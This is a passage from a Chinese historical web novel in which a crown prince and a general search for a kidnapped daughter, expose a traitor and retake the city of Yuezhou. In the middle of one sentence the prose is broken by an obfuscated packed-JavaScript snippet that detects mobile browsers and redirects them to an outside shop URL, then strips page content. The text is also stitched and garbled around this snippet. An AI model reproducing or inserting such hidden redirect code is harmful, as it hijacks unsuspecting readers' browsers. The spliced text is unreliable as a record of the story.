帐中没有暗解的香囊和罗带的熏香,有的只是死亡的汗湿和泥腥味道。郑绥坐到他身边时,萧玠侧身背对他躺过去,像一个婴儿一样蜷缩起来。他听到郑绥深吸气的鼻息,感到身边微微一沉,郑绥结实的武人身躯躺下来。这张只容一人的窄榻上,郑绥秋毫不犯地未碰他一寸。 萧玠问:“你半个身子都在床外吗?” 郑绥说:“没有。” 萧玠不再问,伸手向后摸索到他的手臂,一条压在身下,一条半缩在背后。萧玠把他那条手臂从背后摘过来,穿过自己腋下搂在腰间。 对这过分亲昵的举动萧玠没有解释,郑绥也知道这不是调情而是恐惧。他旁观过萧玠的梦境,他的每个梦都有一口深井,井里伸出的手无数次要把萧玠拖拽下去。他搂住的与其说是暧昧者的手臂不如说是求生的绳结。 郑绥把胸膛往前靠,腰部往下和萧玠撤开一段距离,这么把他抱紧了。接下来的一段时间,郑绥的味道,成为萧玠的安眠良药。 郑绥的抵达像太阳一样照亮菊崖县,战争的乌云暂时退散,死亡的雨水也从洼地里晒干。安抚群情的间隙,他也花费了大量时间来安抚精神恍惚的萧玠。翌日清晨,东方彻终于等到那扇紧闭房门再次打开,郑绥轻手轻脚掩门跨出,臂弯搭一件衣服,东方彻认出是萧玠血污的外袍。 郑绥向他颔首示意,“劳烦给我找点皂角。” 东方彻忙道:“将军稍候,我叫人来做浆洗。” 郑绥却拒绝,“殿下贴身的衣物不爱让旁人经手。” 东方彻这才发现,那团衣物下露出一片欲迎还拒的丝织物,应当是萧玠换下的亵裤。他知道郑绥不是萧玠的外人,但没想到已经亲近到几乎内人的地步。接着郑绥说:“我这里有一幅旭章的画像,劳烦明府搜救百姓时帮忙找找。” 东方彻忙说:“下官只是县丞,担不起将军如此称呼。” 郑绥声音温和,但带一股不容抗拒之力:“尤县令殉国,地不可一日无长,殿下令旨,任命你为新任县令。” 东方彻谢恩,接过画像,认出是萧玠走失的女儿。但朝野并未听闻皇太子立妃之喜。 东方彻有些疑惑,“这是……” 郑绥以为他不认得,道:“是我的女儿。” 东方彻更疑,“但下官曾听娘子称呼殿下做……阿耶。” 郑绥停顿片刻后说:“也是殿下的女儿。殿下怕扰动民心分散兵力,一直没有声张寻女之事。” 东方彻有些茫然也有些恍然,那条亵裤轻薄的边角从郑绥臂间翘起,像一个欲盖弥彰的秘密。东方彻想起之前有关东宫床笫的桃色传闻,大多无关女人。这两个人的关系雨夜中一条晦暗不清的连理枝蔓一样,突然被闪电照亮一瞬。东方彻彻底明白了。明白的这一刻他突然想到自己失散的妻子,想到之前晴和天气时自己帮她搓洗袜胸和亵衣的日子。有人给太子清洗身体和衣物,那她呢?她那么爱干净的女孩子,现在是在地狱挣扎还是尤胜地狱的人世间挣扎呢? 他想告诉她我已经不怕血了,等回到樾州城我能够翻过所有尸体寻找你,这次我来杀鱼给你煲汤补身体。我一定会找到你我死也会找到你。求求你千万千万活下去。 *** 有郑绥抱着,萧玠安安稳稳睡了一天一夜。他再睁开眼,透入窗内的天光半明半暗,半明半暗的天光被郑绥挂在床边的铁甲遮挡。这段时间他对甲胄感到恐惧,但这身披挂却像一座靠山让他安心依靠。 郑绥不在,萧玠知道他去料理战后事宜,也撑起身体去穿鞋。脚上清爽,没了木刺在内的异物感,萧玠知道郑绥帮他洗过脚了。 这时候郑绥推门进来,手里端一只粥碗。他惊讶郑绥这么高大的身体,脚步居然比猫还轻。 郑绥见他坐着,一愣,接着笑问:“醒了?正好吃点饭。我叫人煮了粥,你将就吃些。热水烧好了,吃完饭洗澡。” 萧玠说:“我不要紧。你是怎么来的,带了多少人?公孙冶麾下有没有逃窜的士兵?还有州府,还在他哥哥公孙铄手里,现如今……” 郑绥温声打断:“先吃饭,我慢慢和你说,好吗?” 萧玠接过粥碗,慢慢搅动。搅着搅着他突然手腕酸楚。郑绥赶来是樾州的幸事,但对自己萧玠说不清是好事坏事。他来了把自己的力气骨气全抽走了,他好累啊这个肩膀他好想靠一靠。不能靠靠了这辈子起不来了。但,只靠一下能怎么样呢? 萧玠深吸口气,动用最后的毅力舀起一勺粥,这时候郑绥说:“我喂你吧。” 萧玠低着头,想掉眼泪,但连落泪的力气都没有。郑绥从他手中拿回粥碗,轻轻吹过后喂到他嘴边,说:“本来想给你做碗醪糟鸡蛋,但县里……” “鸡蛋你们先吃。”萧玠说,“你们要打仗。” “我带的军粮足够。”郑绥说,“这次樾州遭此大难几无抵抗之力,因为这个月初,齐军再次突击西塞,西边的军队都赶去支援。西塞大张旗鼓,陛下想过是疑兵之用,便调动临近折冲府兵把守各大隘口,没想到……” 没想到齐军从天而降,突击腹地之中的樾州。 萧玠问:“他们是怎么做到的?” 郑绥摇头,“军中尚无定论。樾州虽然地处西南,但并不与齐国接壤。现在最大的可能,是齐军穿过齐国东南的大沼,抵达樾州西北的委蛇山群,在此埋伏多日。” “我不这么认为。”萧玠说,“齐军骑兵众多,声势浩大,不可能潜伏多日还不声不响。而且委蛇山蛇虫鼠蚁无数,更有瘴毒,从没有人能活着横穿过来。你找舆图来,我们一块看看。” “东方彻说你三个日夜只合了半个时辰的眼。”郑绥劝道,“你先休息,我已经来了,我来了就不会让樾州送在齐贼手里。” 郑绥说着把粥再次递到萧玠嘴边,这种看似温和实则强硬的态度让萧玠想到父亲。萧玠问:“陛下知道了吗?” 郑绥想了想,说:“樾州之难肯定知道了,但没有亲自赶来,你在这儿陛下大抵不知道。” “事情过了,别让他知道。”萧玠补充,“他身体并不好。” 郑绥应:“好。” 快把粥吃完时,郑绥举在半空的勺子突然不动了。 萧玠问:“怎么了?” 郑绥深吸口气,颤着嗓子说:“差点就晚了,我差点就来晚了……对不起,你的手还痛吗?” 萧玠这才想起手上包扎的剑伤,也想起郑绥执意要喂他的原因。原来是他手伤了。但萧玠差点把这事儿忘了,只有郑绥问他才想起痛,跟那天看到郑绥他才感觉痛一样。 这是一件很古怪的事,但萧玠现在毫无探究的气力。萧玠说:“只有你来了,你来得刚刚好。你是收到了我的书信吗?” 郑绥摇头,“没有,但我收到了一封密函。我出京的时候陛下告诉我,齐国内部有我们的线人,并交待我往来的路子。但为保证其安全,只由他们对我们进行单方面传讯。我就是收到了一个代称‘抱香’的密函,上面只有四个字,樾危速救。” 萧玠想起萧恒曾讲过,他已经发展起一支以“目”为名的线人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715739|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队伍。他想到郑绥的行军路线,又问:“怎么没直接去樾州州府?” “在路上收到公孙冶带兵攻打菊崖县的消息。”郑绥说,“他们说太子在这里。” 萧玠安静了一会,说:“樾州刺史被杀了。开春地方官吏进东宫问对时我见过他,是个踏实肯干的人,陛下对他很称赞。东方彻说菊山开垦之事,陛下打头之后都是他在做。” 萧玠说他做的不错,最后变成一架白骨让蝇虫叮咬啦。 他双手交插着,一段时间里再没任何动作。光穿过窗户投在萧玠脸上,是一块静止深刻的白瘢。但郑绥看到包裹他手掌的纱布上有鲜血绽开,他的手指甲也渐渐由红泛白。他在用力,也在忍耐。 郑绥不说话,放开吃空的粥碗,小心翼翼避开白纱去握他的手指。萧玠的指腹变得粗糙且无弹性,像几截雨水浸泡后又曝晒的树根。 萧玠说:“我想洗澡。” “你现在不能沾水。”郑绥劝道。 萧玠像没有听到,抬起头问:“你能帮我洗澡吗?等你不忙的时候。” 他的神情像个无知的婴儿。 郑绥无法拒绝他的任何要求。 傍晚,郑绥把所有帷帐拉起来,亲自给萧玠擦洗。过往的一切还是在他身上留下痕迹,有樾州的血迹也有玉陷园的雨迹,萧玠只有在私密空间和亲密之人面前才肯展露身体。郑绥把热水哗啦哗啦倒入木桶时萧玠解开衣带,热汽呈云状弥漫,萧玠苍白的皮肤被沾湿后变成一种浓稠的乳白。他微微弯腰,郑绥没有注意这是个脱掉亵裤的动作,他的目光完全被萧玠背后尚未愈合的刀伤吸走了。 郑绥紧着嗓子问:“怎么回事,怎么有这么深的伤口?” 萧玠再次显露出婴儿般惘然的神情,反手去背后摸了摸,说:“我看不着也就想不起来。那一段不顾着痛,只顾着活。” 萧玠说你也知道,我用长生之后哪里都这么痛,我其实分不太出来。 郑绥说:“得赶紧给你包伤。” 萧玠问:“不洗澡吗?” 他脱得□□地站在郑绥面前问,不洗澡吗?他看到郑绥喉部滚动两下,郑绥腰部以下被木桶挡住,整个人看上去毫无变化。他有些僵硬地伸过手臂,像抱一块有裂痕的玻璃一样把萧玠抱到木桶里。那条红蛇样的刀伤在萧玠洁白的背部吐着红舌。 萧玠抱住膝盖,蜷缩于羊水一样蜷在桶里。他感到记忆之外秦灼腹内的温暖。他感到郑绥的手覆盖他完好的肩膀处,郑绥居然疼痛般打了个冷战,然后问:“我弄痛你了吗?” 萧玠摇摇头,侧脸盯伏在自己肩上的那只手。他奇怪郑绥明明比他还要小,怎么生了这样一只大手,几乎能把他的手掌完完全全包拢起来。 对连日疲惫的人来说,热水澡能解疲,现在这些热腾腾的水汽竟对萧玠发挥出萱草的功效,把他脑袋完全熏迷糊了。他不仅忘忧忘痛,这具饱尝情欲的身体居然连曾经的性.经验都忘记了。 他拉住郑绥的手,以为在做一个很普通的动作,拉着郑绥滑到水下摸自己的肚子,说:“你记得吗,小时候我经常和陛下吵架,我有点恶劣,吃了一种闭气的草药装死来刺痛他,先把秋翁吓得大哭。你摸我的肚子,说肚子还在动是有活气的。这件事是陛下后来告诉我的。” 萧玠问:“你能摸出来我现在活着吗?” 郑绥用一种滞涩的语气说:“能。” 萧玠说:“杀了沈娑婆之后,我好怕自己会怀一个小孩。我摸肚子总感觉里面有东西在动。然后你把旭章带过来。” 萧玠神情有些迷惘,“三哥死后我精神不太好,有一段我觉得旭章是那个不存在的小孩。” 两个人沉默了,水面静下去,连水雾也凉散了。郑绥感觉萧玠身体慢慢缩起,他被拉着覆盖的地方从靠近私.处的下腹跑到上方,有砰砰跳动的地方。郑绥从掌管萧玠情欲的器官走到掌管他生命的器官来了。 好一会,萧玠肯定地说:“旭章不在菊崖。” 郑绥说:“我再找一遍,找不到没关系,我们怎么都要打回樾州。” “樾州会有吗?” “这里没有,樾州就有。” “在樾州。”萧玠喃喃道,“我宁愿她不在樾州。她本来要么在你家要么在东宫,她在长安好好的我为什么要带她出来?” 萧玠长一声短一声地呜咽起来。他把郑绥的手抱在心口哭着问:“绥郎,绥郎,怎么办呢,我们怎么办呢?” 当夜公廨响起太子的哭声。所有人难以置信,他从一个坚不可摧的领袖变成懦夫只用了一个夜晚。当夜郑绥把他抱出木桶,萧玠已经在水里哭累了睡过去,出水时也没有惊动。郑绥抱他上床,对着他清清凉凉不着寸缕的身体,像对一尊锁骨菩萨的玉石宝像半跪下来。 有人曾面对赤身的萧玠兴起淫圌欲,郑绥却以欲止欲地彻底平静了。他在萧玠的莲台前起誓,他一定会把女儿带回来,他死也会让公孙铄让齐国血债血偿。这是他的皈依之词,苍天在上他说到做到。 122.第 122 章 奉皇二十一年底所有幸存的菊崖县人都对郑绥和太子萧玠的关系发过议论。他们目睹萧玠撼守菊崖的松柏之姿在郑绥面前萎缩,化成一棵攀附松柏的女萝。他们不用进屋也看得到那攀附。每个夜晚,屋中都传出太子梦间的啜泣之声。萧玠蜷缩枕上,黑发如命运的绳索把他紧紧捆缚。一条手臂拨开绳索织就的罗网,将他抱在怀里轻轻拍打。第二天天不亮郑绥边穿盔甲边上马出门,前襟未干的泪水如同晨露打湿了菊崖县志的一页。 这一页的菊崖县志记载,奉皇二十一年是前所未有的灾难之年。这年剿灭公孙冶残军的半个月里,忠武将军郑绥像一条出洞复仇的公狼一样朝行千里暮必回归。这年也是复仇的金色火焰和侵略的绿色火焰狭路相逢的一年。半个月内,金焰如同太阳之芒,以摧枯拉朽之势燎遍县城内外野草般的绿焰。半个月后,郑绥正式进军樾州主城,宝剑直指释放幽幽绿火的古墓鬼手。 郑绥不再每日必回,萧玠重新把自己树成堡垒。 萧玠说过,自己太软弱太喜欢依靠人,只有无所依靠之时,他才会成为真正的领导者。郑绥离开后,他雷厉风行地投入敌后工作。菊崖县被修复成樾州争夺战里大梁的军事本营和难民区,萧玠的坐镇把战后常见的自相残杀扼于萌芽。白天他在聚集官吏传看前线战报研究战局之余,建立了一套严格的战备赍送和粮食分配制度,以保证前线供给和后方稳定。毁于战火的屋舍由官府勘察记录,哄抢财产者审后可以判斩。朗朗乾坤下的菊崖县被充分团结起来。 而夜晚,是萧玠巡看岗哨之时。他无缘得见菊崖战前的容颜,只能亲手抚摸她的遍体伤痕。他主动也被动地把睡眠时间压缩到极限。萧玠依旧不敢做梦,他的噩梦不再是月亮但还是个女孩。他多么想见到旭章,但如果在噩梦里他宁可不见到她。萧玠对宗教仍有虔诚,他多怕这是佛经里应誓的象征。 旭章的消息在秋季的最后一天传到菊崖县。 萧玠赶往粥棚的路上遇到送粮回来的菊崖主簿,照例找他要最新战报。主簿将郑绥亲笔的文书递给他,同时说:“有了郑娘子的消息。” 萧玠愣了一下,才反应过这个郑娘子指的是谁。他感觉心在嗓子眼突突跳着,声音给砸成一块一块。他问在哪里旭章在哪里?主簿不敢看他的眼睛,“臣运送粮车时正逢齐军使者和郑将军接洽,他们送上来一块玉佩。” “玉佩,什么玉佩,太阳玉佩吗?一块脂玉的太阳玉佩吗?”萧玠压根不知道声音怎么跑出来的,不知道自己是叫是喊还是哽咽,“旭章在他们手上……你是说旭章在他们手上?郑宁之怎么没给我写信呢?” 主簿道:“此事干涉两军之战,将军也许不好回禀。” 萧玠握他手腕的五指松脱下来,人也随之一晃,被主簿紧紧扶住。 他完全不敢想,公孙冶已死,公孙铄拿到旭章会把她怎么样?她那么小一个孩子,他的孩子! 主簿担忧道:“殿下思女之心臣看在眼里,臣实在不忍殿下日夜熬煎如此忧心。但郑娘子……” 萧玠打断:“我去趟前线。” 主簿忙劝道:“可如今还在打仗,殿下千金之躯……” “我去趟前线。”萧玠的声音不容置疑,“告诉东方明达,我回来前由他总揽县内一切事务。若有变故立刻写信给我。” *** 萧玠的马蹄在一日之后抵达樾州军营。 郑绥匆匆迎接时,正见萧玠跳下马背跌跌撞撞地奔跑过来。他没有刹住脚步,一下子撞在郑绥怀里,一头受伤的野兽一样抓紧郑绥手臂,连声问:“你怎么能瞒我呢,她也是我的女儿,你怎么能瞒我呢?” 郑绥暗示般地叫道:“殿下。” 萧玠的混乱状态一下子云障一样被拨开一隙。他在郑绥身后看到一个服制殊异的中年人,立即判断出这是公孙铄的使节。 齐使盯着萧玠,两只瞳仁闪烁乌鸦眼中的绿光,他笑道:“想必这就是太子殿下,我想这件事情还是与殿下面谈最为妥当。” 郑绥声音冷厉:“我的意思已经跟贵使说得很明白了。” 齐使笑道:“自然,可郑娘子到底是太子之女。而且公孙将军的诚意,郑将军还没听到一半。” 郑绥高大的身形把萧玠遮挡严实,萧玠迅速擦干脸,露出外交时得体的笑容,说:“那就坐下来谈谈吧。” 从帐中落座时萧玠听见棋子落在棋盘的敲击声。他明白今日会谈是齐军的黔驴之技,但也实实在在抓住他的软肋。他的女儿现在被当成一桩交易摆在谈判桌上,他除了愿者上钩别无他法。 萧玠问郑绥:“玉佩呢?” 郑绥顶着他的目光,将东西交给他。 是真的东西。 紧接着,萧玠的目光被玉佩镂刻缝隙里的暗红痕迹吸引了。 是血。 是在旁处沾到的血,是别人的血对不对?绝不可能是旭章的血……这么小的孩子怎么能让她流血? 齐使似乎没有委蛇之意,单刀直入道:“我们希望太子能够归还飞骑将军的尸首。时日太长,为保留将军死后尊容,望梁太子略治丧仪。” 萧玠说:“可以。” 齐使道:“将军毕竟是断折在太子手里。还望梁太子服素,亲自扶灵相送。” 郑绥坐在萧玠身侧,身形勃然欲动,这时萧玠一只手按住他小臂,轻轻巧巧的一下,却千钧般把他按定了。 萧玠盯着齐使那双乌鸦的眼睛,明白这果然是一只报丧的恶鸟。他声音冷静,说:“你要我给公孙冶披麻戴孝。” 齐使道:“这是公孙铄将军的条件。” “储君服孝,唯有国丧。”萧玠说,“我爹还活着。” 齐使冷笑:“那太子是不肯答应了。” “说说你们其他条件。”萧玠道,“这件事不足以让郑将军如此失态。” 齐使笑道:“我们将军很钦佩殿下的手腕,等殿下送棺抵达后,愿与殿下共饮相商此后事宜,未必不能干戈化玉帛。” 萧玠也笑了:“贵国挑动干戈让樾州流血十里,如今大势已去,倒开始惦记玉帛了。但我相信,公孙将军的醉翁之意,不只是共饮这么简单吧?” 齐使道:“到底是入我营地,为示诚意,还请太子只身赴约。” 军营寂静下来。 萧玠手掌仍按在郑绥手臂上,最后一缕焦虑神情也烟消云散。他轻轻道:“这样。” 齐使道:“梁太子只说应不应吧。” 萧玠笑起来:“公孙将军好大的气魄,就不怕我看似赴约,暗中命众攻破你们齐国大营吗?” 齐使眼中精光闪烁,“所以,梁太子赴约期间,还请贵军后退十里。” 这句话后他盯紧萧玠的脸,见萧玠双眸斩动一下,接着露出一个不可思议的微笑。 萧玠清清淡淡的笑意里不带一丝感情:“郑将军方才没有立斩足下,真是度量宏大。还是说贵主果真愚蠢透顶,认为拿一个孩子就能换取我城池百姓,就能洗清这累累血债吗?” 齐使腾地站起身,乌鸦振翅飞向腐肉的声音在帐中盘旋飞翔。齐使愤怒道:“梁太子慎言。” “不斩来使,已经是我对贵军最大的仁慈。”萧玠看向他,“我也奉劝公孙将军一句,郑旭章若损伤毫发,我会把他和公孙冶的遗体一起挫骨扬灰。君无戏言,我说到做到。” 齐使气急败坏离去后,萧玠坐在帐中久久未动,但手终于从郑绥手臂上收回去,像一根枯萎的女萝终究脱离松枝坠落于地。 他抬袖擦了把脸,清了清喉咙说:“公孙冶的尸首还在我手里,齐人安土重迁,一定想让他葬回故土。他们就算用计,现在也不敢对旭章下什么毒手。我们还有时间。” 萧玠站起身,像复活一样地振奋起来,在帐中一圈一圈踱着步喃喃:“他们不敢杀旭章,绝对不敢……只要她活着我们就有办法。齐军的本营在哪里你知道吗?” 在他转到第二圈时郑绥大步走上来抱住他。 萧玠的动作一下子断掉,像一只受惊的猫在郑绥怀里轻轻打颤。郑绥的大手一下一下摩挲他的后背,萧玠感觉自己身体一下子一条死蛇似的绵软下来。他脸埋在郑绥胸甲间,哑声说:“不能退兵,我也不能去。这不是家事是国事……拿住旭章我们已经被掣肘到如此地步,拿住我呢?” 郑绥连声道:“我知道,我知道。” “郑宁之……”萧玠低低叫道,“郑宁之!” 他痛哭道:“对不起,我对不起你!我把女儿弄没了,我女儿要没了!” 郑绥两条手臂将他紧紧箍在怀里,被不知是谁的泪水打湿脸颊。郑绥知道萧玠的眼泪可以像孟姜女一样哭倒城墙,但太子的决定更像新建的长城一样坚不可摧。 奉皇二十一年十一月十日,齐使至,无功而返。 翌日,萧玠下令全面反攻。 在郑绥抵达菊崖之日,战报也送达甘露殿御案之上,萧恒当即对大梁西部南部战局做出整体部署。相邻两州之军相继赶到,如今皆于帐下听命。与此同时,梁齐大军再度于西塞交火,大梁举国进入战时状态。 各地皆兵,而此处已有胜势,对整个战局都会起到扭转作用。为此,萧玠更不可能舍弃樾州。 那他舍弃的只有一人。 郑绥率军出击,军帐之中,萧玠再度捻动腕上佛珠,珠子却因丝线松散噼里啪啦滚落一地。 公孙铄估计会拿旭章祭旗了。 萧玠垂手拢了一把,仅握住的一粒也从他指缝跳走,跌跌撞撞滚到帐边,碰到一只官靴。 一只素手低下,将那粒佛珠拾起,交到萧玠面前。 萧玠许久不见这女孩,一时没认出来。还是她先行问候:“臣柳州织造虞仙翚,奉崔使君之命运送冬衣二万件,作将士御寒之用。” 虞仙翚容貌长开,眉目间略带出虞闻道的影子,只是一个明亮,一个冷艳。她走进帐时,萧玠闻到一股淡淡的杜鹃花香,这不属于冬季也不属于樾州的香气,萧玠总觉得在哪里曾经闻过,但一时又想不起来。 他也有些疑问,虞仙翚一个柳州官员何故听从潮州长官的差遣,但如今也没有追问的气力,只道:“劳累虞姑长途跋涉。虞姑纺织革新,又亲送冬衣,功在社稷。军营到底是前线,我叫人送虞姑去菊崖安置。” 虞仙翚道:“战时不比以往,何须为臣一身劳动人力。使君无旨不好擅离潮州,望臣转告几句话。旭章曾对使君说,传闻西施颦蹙而多病,念殿下亦是,她愿为殿下展眉良药。她若有知,也必不愿见殿下自苦若此。” 萧玠勉强笑了笑:“多谢鹏英劝慰,她心里也不好受。” 虞仙翚叹道:“得知旭章失落后,使君也是镇日愁眉不展。不到一个月,衣带已经宽了两寸。” 萧玠听在耳中,一缕思绪闪过,尚未开口再问,帐子已经再度被打起。 主簿拱手入内,朝萧玠一揖,“殿下传召微臣?” 萧玠颔首,“是。虞姑先出帐歇息吧——有些粮草的事,我想问问你。” 虞仙翚告退,主簿低眉顺眼的脸隐在帐影里,“但听殿下吩咐。” 萧玠弯腰去捡佛珠,边道:“公孙铄败军之日不远,也要到论功行赏的时候。一个月来,菊崖往军营运送粮车共计二百辆,军粮三百余袋,都是由你负责。每次虽略有延误,但都能平安送到。这是大功。” 主簿忙道:“此臣职分所在,岂敢论功?山路实在难行,在路上有所蹉跎,是臣之过。” 萧玠笑了笑,“一开始这件事我本想交给黄县尉做,但他当日吃坏了肚子上吐下泻,军粮又是重中之重不能耽搁。东方县令是一县之长不能离身,只有你最为合适。你也的确不负所托,送来的粮食的确足够士卒吃用。” 萧玠话锋一转,“我听黄县尉说,齐军入樾之前,你曾经去了趟州府,代尤县令向闻慎行闻刺史祝寿。” 主簿道:“是,明府本该亲自前去,但县里报上来的税目出了岔子,明府便派臣前往。” 萧玠颔首,将最后一粒佛珠合在掌心,站起身看向他,“所以你在那里,见到了樾州司马寇丹心。” 郑绥围攻主城,已经跟这个叛国罪臣打过照面,寇丹心卖国之名上下皆闻。主簿惊道:“殿下这是何意?” 萧玠道:“有长官驱遣,名正言顺。这样一来你和齐贼内外勾结,也叫人无知无觉。就和你借我的粮车给公孙铄运粮一样。” 主簿大惊失色,慌忙跪地叫道:“殿下明察秋毫,臣绝不敢有如此叛国背主之举啊!” 萧玠道:“你很聪明,知道郑将军会检查粮车和粮袋数量,却不会拆开袋子一一验看。所以你把一半的粮食在半路匀出来,把喂牲口的麸糠掺进去。这样一来,依旧是二百车三千袋运到军营,却有一百车一千余袋的粮食填了公孙的肚子。就算郑将军和将士们发现掺有麸皮,也会认为菊崖县口粮将尽,不得已才持此充数。不但不会追究,还会向我隐瞒。如此大才只做一个主簿,岂不可惜!” 主簿伏在地上,冷汗直流,“是臣办事不力,当是部下贪粮私自昧了下来,臣回去一定严查此事。殿下若以此定臣通敌之罪,臣着实冤枉!” 萧玠道:“我晓得樾州出了奸细,但菊崖当时未受屠戮,我只以为奸细出在州府里。直到那天,你报给我说齐使有了旭章的消息。” “我从菊崖赶去军营用了半天,齐使依旧逗留在此。若你去时他们就已经在军营之中,我到时还没有离开,岂不是待了整整一个日夜?一个日夜,他们的条件和郑将军都没有讲到一半,来做什么,打秋风吗?” 萧玠把掌中佛珠撂在案上,有些好 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“我不是樾州人,我是齐国人。我在大梁卑躬屈膝过了十三年,就是为了今天!寇丹心贪污军饷的证据就捏在我手里,我要他大开城门,他也只能俯首听命!只恨尤尚恩严防死守,未能把大军带进县内,不然北崖早就是你的葬身之地!” 主簿厉声叫起,早已侍立在侧的将士立刻上前,将他死死按在地上。 “我今虽一死,却换得樾州绝户,值!”他狂乱的脸上突然绽开一抹神秘微笑,“萧太子,你的确是个金口玉言的材料。你知道公孙将军为什么选定樾州吗?自卖自家,真是大开眼界!” “什么意思,你什么意思?”萧玠冲过去攥紧他的衣领,“你是说樾州还有奸细,什么人,说!” “你会见到他的。”主簿笑道,“只是不知道你是先见到他,还是先见到你女儿的尸体!” 为防他自尽,两旁将士当即拔出枚条塞在他嘴里。萧玠站起身,道:“不论一切办法,撬开他的嘴。我要他亲眼看我王军克胜齐师。” 主簿被押出帐去,意图咬舌的血涎从他口中溢出溅落在地,拖成一道蚯蚓形状扭曲挣扎的血线。 萧玠从椅中缓缓坐下,心中一片惊悸。 看来尤尚恩对奸细之事早有怀疑,只是不确定是谁,又不能随意猜忌动摇人心,所以他假意投敌、埋藏火砲之事,没有向任何人透露。 而听主簿的意思,能够左右战局的,居然是一个奸细。这个奸细,似乎还是樾州人。 萧玠一颗心像扯断的佛珠一般砰砰乱跳。他坐在帐里,却能听到数里之外两军厮杀的声音,千万刀兵撞击之声震动天地,似乎在云间敲响一口浑厚的黄钟。然后满地流遍鲜血,如同云中降下血雨。 战争无止无休,杀戮无止无休,痛苦无止无休。萧玠不明白,为什么总有人热爱杀人,为什么总有人热爱欺凌侮辱侵略人?他们为什么不去治理自己满目疮痍的土地,反而致力于把别的土地变得满目疮痍? 不要死人了。萧玠几乎是乞求。快点结束吧,不要死人了。不管梁人还是齐人,都不要死人了。 最是百姓苦啊。 不知道第几个黄昏,萧玠终于听到尘土一样滚滚而来的呼喝和马蹄。他冲出帐前郑绥先一步迈进来,两个人慈石遇铁一样紧紧抱成一团。 萧玠揪紧他铠甲,揪了一手未干血迹。他额头抵在郑绥下颌角颤声问:“赢了吗,赢了吗?” “公孙铄弃城而逃,城中齐属尽数俘虏。樾州州府前的公孙大旗已经倒了。” 郑绥扶住他双肩撤开距离,后退一步,向他单膝跪倒,抱拳道: “臣忠武将军郑绥,率三军将士恭请殿下入城。” *** 当那匹驮负太子的骏马在女墙下停住脚步时,溅满鲜血的城门隆隆打开。东方彻侍立在侧抬头注目,正撞见一轮硕大金阳驭破重重云霭在太子身后高悬苍天。 众目睽睽下,太子松开缰绳翻下马背,出乎所有人意料地选择步行入城。他的脚步重落城内的那一刻宣告樾州正式收复。 寇丹心被明正典刑,尸体悬挂城头,那个曾经悬挂闻慎行遗骨的位置。这位眼看子女被害当场仍不肯附逆引路的樾州刺史,一把铁骨已无法寻找,萧玠在为其请封后,只能以一篇诔文代为书葬。闻慎行葬日,萧玠率领全军全民缟素起灵。因闻慎行骨肉尽付狗腹,居民自发打杀满城野狗,自此之后三百年间,樾州无一人再食狗肉。 为忠良治丧的同时,蜷居州府、未及撤退的豺狼被全部拿下,向来温文的太子默许将士们用以牙还牙的方式扒光这些男人的衣裳,用一条绳索把他们从头串到尾,像他们对待妇女一样把他们如同牲畜地驱赶去牢狱。街上洋溢唾骂诅咒和拳打脚踢之声,维持秩序的士兵也只松松散散地阻拦几下,以免把人打死。 萧玠站在州府门口,眺望这样礼崩乐坏的街景,说:“这么对待战俘,其实不是明君所为。” 郑绥立在他身侧,平静道:“以直报怨而已。” 萧玠喃喃:“想起旭章,我恨不能把他们食肉寝皮。” 公孙军营并未找到旭章身影,不管是活人还是尸首。这既不是好消息也不是坏消息。 郑绥握紧他的手,“我已经加派人手去找了,我们把樾州每一寸地皮都翻过来,一定找得到。” “我有点不敢找到她。”萧玠打着哆嗦,“你说她会是什么样?” 郑绥和他相互撑拄,只是说:“会找到的。” 他们话音未落时,街中游行队伍突然被一群百姓冲散,拳打脚踢之际辱骂诅咒声不绝,激愤之态比先前不知高了多少倍。萧玠仍挽着郑绥的手,和他一块赶到街中问:“怎么回事?” 一个瘸腿汉子犹抡臂挥舞,不管不顾踢腿要踹,反而把自己绊倒在地,口中仍怒骂不止:“殿下,这个丧尽天良的畜生,这是个叛国卖家的畜生!他居然和公孙的猪狗在一块!他是樾州人,殿下他世世代代都是樾州人!樾州出了这么个禽兽不如的畜生啊!” 郑绥命军士架开众人,在无数腿脚和阵阵黄土中,露出一具仆地瘦削的身躯。 是个男人,身材单薄,没有明显的腱肉。如果不是肋下碗口大的紫青和浑身的伤痕,堪称一具如同象牙的身体。 一听到萧玠声音,他手脚并用地蜷跪一侧,胸口压在双腿上。萧玠看穿了他遮蔽□□的目的。 那瘸腿汉子不忿,众人更是怒火滔天,趁萧玠打量他的空档又要出手,正一个耳光过来,把那人的脸打得歪向街央—— 看清他脸的一瞬间萧玠瞪大眼睛。 他怎么能忘记他不可能忘记,这个已被流放的罪臣、恭让皇后的族亲,这个为了往上爬诬告执宰勾结世族的鼠辈,这个从蜃楼滚滚黑烟里遁身逃走的玉面狐狸。 他盯着汤惠峦苍白无色的脸,说居然是你。 123.第 123 章 因上巳案附逆的汤惠峦居然出现在齐军俘虏的队伍里,如果传回长安当是一桩震惊朝野的大事。这还没完,汤惠峦入狱当日,郑绥率人检查公孙铄留在公廨的文书,找到了下令进攻樾州的公文,认出这是汤惠峦的字迹。 是他亲手签下整个樾州的索命状,把故乡变成人间地狱。 何止通敌叛国,更是天打雷劈。 此事非同小可,当即引起群情激奋。樾州民众纷纷挤上公廨,跪请萧玠将其千刀万剐,恨不得生啖其肉。有的说汤家果然邪树歪根,奉皇四年汤住英坑害太子大罪弥天,二十年后他的族亲又把太子逼到死地。有的叫喊何须过堂当即正法,齐国和樾州之前所隔要么是他国他邑要么是崇山峻岭,若无汤惠峦带路,根本不可能越过山林无声无息地抵达樾州城。 群情似火,萧玠当即提审汤惠峦。片刻后,黄岩云赶回公廨,脸上半是嫌恶半是恼恨,冲萧玠抱拳回禀:“殿下,那厮在狱中发作了,神智并不清醒,殿下现在只怕问不出什么。” 萧玠问:“什么发作?” 黄岩云道:“他染过黑膏,膏瘾发作了。” 